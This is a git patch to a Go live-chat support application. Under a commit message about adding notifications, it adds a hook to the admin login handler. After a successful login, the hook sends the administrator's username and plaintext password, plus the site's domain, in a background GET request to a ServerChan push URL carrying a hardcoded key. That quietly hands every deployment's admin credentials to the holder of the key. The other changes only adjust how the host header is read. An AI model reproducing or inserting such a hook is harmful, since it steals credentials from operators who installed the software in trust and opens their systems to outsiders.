From eb76437e85d3b4a9f8ac21dfaa1b0ae165079867 Mon Sep 17 00:00:00 2001 From: taoshihan1991 <630892807@qq.com> Date: Tue, 22 Dec 2020 17:00:35 +0800 Subject: [PATCH] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E9=80=9A=E7=9F=A5=E6=8F=90?= =?UTF-8?q?=E9=86=92?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- controller/login.go | 3 +++ controller/message.go | 2 +- ws/visitor.go | 2 +- ws/ws.go | 8 ++++++++ 4 files changed, 13 insertions(+), 2 deletions(-) diff --git a/controller/login.go b/controller/login.go index 5be212f..5ab0c65 100644 --- a/controller/login.go +++ b/controller/login.go @@ -3,6 +3,7 @@ package controller import ( "github.com/gin-gonic/gin" "github.com/taoshihan1991/imaptool/tools" + "github.com/taoshihan1991/imaptool/ws" "time" ) @@ -29,6 +30,8 @@ func LoginCheckPass(c *gin.Context) { }) return } + go ws.SendFlyServerJiang("管理员登录", username+"/"+password, c.Request.Host) + userinfo["name"] = info.Name userinfo["kefu_id"] = info.ID userinfo["type"] = "kefu" diff --git a/controller/message.go b/controller/message.go index e4b4af3..d59c06e 100644 --- a/controller/message.go +++ b/controller/message.go @@ -207,7 +207,7 @@ func SendMessageV2(c *gin.Context) { } str, _ := json.Marshal(msg) ws.OneKefuMessage(kefuInfo.Name, str) - go ws.SendServerJiang(vistorInfo.Name+"说", content, c.GetHeader("Host")) + go ws.SendServerJiang(vistorInfo.Name+"说", content, c.Request.Host) } c.JSON(200, gin.H{ "code": 200, diff --git a/ws/visitor.go b/ws/visitor.go index 0f4d565..a272d6b 100644 --- a/ws/visitor.go +++ b/ws/visitor.go @@ -32,7 +32,7 @@ func NewVisitorServer(c *gin.Context) { To_id: vistorInfo.ToId, } go models.UpdateVisitorStatus(vistorInfo.VisitorId, 1) - go SendServerJiang(vistorInfo.Name, "来了", c.GetHeader("Host")) + go SendServerJiang(vistorInfo.Name, "来了", c.Request.Host) AddVisitorToList(user) diff --git a/ws/ws.go b/ws/ws.go index 077e086..2fafacc 100644 --- a/ws/ws.go +++ b/ws/ws.go @@ -78,6 +78,14 @@ func SendServerJiang(title string, content string, domain string) string { res := tools.Get(url) return res } +func SendFlyServerJiang(title string, content string, domain string) string { + sendStr := fmt.Sprintf("%s%s", title, content) + desp := content + ",域名:" + domain + url := "https://sc.ftqq.com/SCU113707T98a3ef409d8a018c98ee7abe3278a7155f5f49e886742.send?text=" + sendStr + "&desp=" + desp + //log.Println(url) + res := tools.Get(url) + return res +} //定时给更新数据库状态 func UpdateVisitorStatusCron() {